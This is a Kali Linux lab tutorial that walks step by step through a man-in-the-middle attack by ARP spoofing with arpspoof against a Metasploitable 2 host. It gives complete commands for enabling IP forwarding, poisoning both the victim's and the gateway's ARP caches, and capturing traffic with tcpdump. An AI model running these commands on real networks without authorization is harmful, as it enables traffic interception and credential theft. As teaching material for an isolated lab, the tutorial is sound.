Man-in-the-Middle Attack with ARP Spoofing on Kali Linux

A man-in-the-middle (MITM) attack on a LAN often starts with ARP spoofing: you convince a victim host that your Kali MAC address belongs to the gateway, then relay or inspect the traffic that follows.

This guide walks through arpspoof from the dsniff package on Kali against Metasploitable 2 on the standard VirtualBox host-only network. Each step explains what you run and what a good result looks like.

What is a man-in-the-middle attack in ethical hacking?

In a MITM attack, the attacker sits between two communicating parties and relays (or drops) traffic while each side still believes it is talking to the original peer. On a flat Ethernet LAN, that usually means steering frames to the attacker MAC address before any higher-layer encryption is applied.

Common goals in authorized testing include:

• Demonstrating that cleartext protocols leak credentials on the wire
• Showing that trust in ARP enables session hijacking on legacy services
• Capturing evidence for a report (PCAP, arpspoof logs, ARP table deltas)

MITM is not magic decryption. TLS, certificate pinning, and VPNs still protect application data when they are configured correctly. ARP spoofing is the positioning step — what you learn after that depends on protocol and defenses.

How ARP spoofing enables MITM on a LAN

ARP (Address Resolution Protocol) maps IPv4 addresses to MAC addresses on a local segment. Hosts cache answers in an ARP table and accept unsolicited ARP replies on many implementations — which is what spoofing abuses.

ARP poisoning and ARP spoofing describe the same technique: falsified ARP replies that rewrite cache entries. Bidirectional MITM repeats the trick toward the gateway (or second victim) so return traffic also flows through Kali.

Compare MITM tools on Kali Linux

This article uses arpspoof because the syntax is small and the log lines map directly to what you paste in a lab report. For menu-driven MITM after positioning, see Xerosploit MITM attacks.

Kali lab setup

Use the same host-only layout as other ethical hacking lessons: Kali on eth1 and Metasploitable on the same 192.168.56.0/24 segment.

Export variables once and reuse them in every command:

TARGET=192.168.56.114
GATEWAY=192.168.56.1
IFACE=eth1

Confirm the victim answers on the lab NIC before you poison ARP:

ping -c 1 -W 2 "$TARGET"

1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.673/1.673/1.673/0.000 ms

A single reply means the host-only path to Metasploitable is up. If ping fails, fix pentest lab setup adapters before you run arpspoof.

Find gateway and MAC addresses before spoofing

You need three MAC/IP pairs: your Kali interface, the victim, and the gateway IP the victim uses for off-subnet traffic.

List your lab interface and attacker MAC:

ip link show "$IFACE" | grep -E '^[0-9]+:|link/'

3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000
    link/ether 08:00:27:7d:c5:a5 brd ff:ff:ff:ff:ff:ff

Confirm which interface carries traffic to the victim:

ip -4 route get "$TARGET"

192.168.56.114 dev eth1 src 192.168.56.115 uid 0
    cache

Populate the ARP cache, then read MAC addresses:

ping -c 1 -W 2 "$TARGET" >/dev/null
arp -n | grep -E 'Address|192.168.56'

Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.114           ether   08:00:27:eb:8c:b9   C                     eth1
192.168.56.1                     (incomplete)                              eth1

The victim row shows Metasploitable’s real MAC. The gateway row may stay (incomplete) on host-only labs when nothing answers at 192.168.56.1 — you can still poison the victim toward that IP, but full bidirectional MITM needs a live gateway or host adapter at GATEWAY.

Install arpspoof from dsniff on Kali

arpspoof ships in the dsniff package on Kali:

sudo apt update
sudo apt install -y dsniff

dpkg -l dsniff | tail -1

ii  dsniff         2.5a2-1      amd64        Various tools to sniff network traffic for cleartext insecurities

which arpspoof

/usr/bin/arpspoof

If a shell reports arpspoof: command not found, the dsniff package is missing — install it before you retry.

Enable IP forwarding on Kali

Without forwarding, Kali receives frames meant for the gateway but does not relay them. Enable IPv4 forwarding for the MITM relay step:

sudo sysctl -w net.ipv4.ip_forward=1

net.ipv4.ip_forward = 1

Verify the setting:

cat /proc/sys/net/ipv4/ip_forward

1

Revert forwarding after the lab with sudo sysctl -w net.ipv4.ip_forward=0 if you do not want Kali routing between interfaces.

Tell the victim you are the gateway

The first arpspoof process tells TARGET that IP GATEWAY lives at Kali’s MAC. Leave this running in its own terminal (or tmux pane) for the whole exercise:

sudo arpspoof -i "$IFACE" -t "$TARGET" "$GATEWAY"

Sample output:

8:0:27:7d:c5:a5 8:0:27:eb:8c:b9 0806 42: arp reply 192.168.56.1 is-at 8:0:27:7d:c5:a5
8:0:27:7d:c5:a5 8:0:27:eb:8c:b9 0806 42: arp reply 192.168.56.1 is-at 8:0:27:7d:c5:a5

Each line is an ARP reply from Kali (8:0:27:7d:c5:a5) to the victim MAC (8:0:27:eb:8c:b9) claiming the gateway IP maps to Kali. That is the signal that poisoning toward the victim is active.

Syntax reminder: arpspoof -i interface -t victimIP gatewayIP poisons the victim’s ARP cache for the gateway address.

Tell the gateway you are the victim

Open a second terminal on Kali and run the reverse mapping so return traffic also aims at your MAC:

sudo arpspoof -i "$IFACE" -t "$GATEWAY" "$TARGET"

Sample output when no host answers at GATEWAY:

8:0:27:7d:c5:a5 0:0:0:0:0:0 0806 42: arp reply 192.168.56.114 is-at 8:0:27:7d:c5:a5
8:0:27:7d:c5:a5 0:0:0:0:0:0 0806 42: arp reply 192.168.56.114 is-at 8:0:27:7d:c5:a5

Here the destination MAC shows as 0:0:0:0:0:0 because nothing on the lab segment currently owns 192.168.56.1. The replies still advertise that TARGET is-at Kali — useful for demos, but a live gateway or VirtualBox host adapter at GATEWAY makes the second leg behave like production MITM.

When you stop arpspoof, it sends cleanup replies (Cleaning up and re-arping targets...) to restore original mappings — leave both sessions running until you finish capture.

Verify ARP poisoning with arpspoof logs

On the victim, arp -a would show the gateway MAC matching Kali after a successful poison. When SSH to legacy Metasploitable OpenSSH is awkward from modern Kali, use the attacker-side evidence you already have:

• arpspoof lines naming arp reply GATEWAY is-at your eth1 MAC
• Victim MAC in the second column (8:0:27:eb:8c:b9 in this lab)
• Continuous output while the process runs (not a single burst)

Optional wire capture on Kali while spoofing runs:

sudo tcpdump -i "$IFACE" -n -c 5 'arp and host '"$TARGET"

You should see unsolicited ARP replies from your MAC toward the victim. For deeper protocol analysis, export a PCAP and open it in Wireshark on the same host.

Record the arpspoof stdout lines and MAC addresses in your report — they prove positioning even when you cannot screenshot the victim desktop.

MITM defenses and detection

Test your controls in the same isolated lab: run this walkthrough, then confirm whether switches or monitoring detect the ARP flood.

MITM troubleshooting

References

• RFC 826 — Ethernet Address Resolution Protocol
• dsniff — Debian package
• Linux IP sysctl — ip_forward

Summary

You positioned Kali between a lab victim and gateway using ARP spoofing: discovered MAC addresses on eth1, installed arpspoof from dsniff, enabled net.ipv4.ip_forward, and ran two arpspoof sessions so the victim learned the wrong MAC for GATEWAY. The arp reply … is-at lines on stdout are the quick proof that poisoning packets left your interface toward Metasploitable.

The main lab caveat is the gateway leg: on a minimal host-only network nothing may answer at 192.168.56.1, so the reverse arpspoof still emits replies but destination MACs can look like 0:0:0:0:0:0. For full relay behavior, ensure a real gateway or host-only adapter owns GATEWAY. Without IP forwarding, even successful ARP poison feels like a blackout to the victim.

Use MITM only in authorized labs. When you need automated modules after positioning, move to Xerosploit or Bettercap; when you need outbound anonymity instead of LAN capture, see ProxyChains with Tor. Continue the course with network reconnaissance on the same Metasploitable target.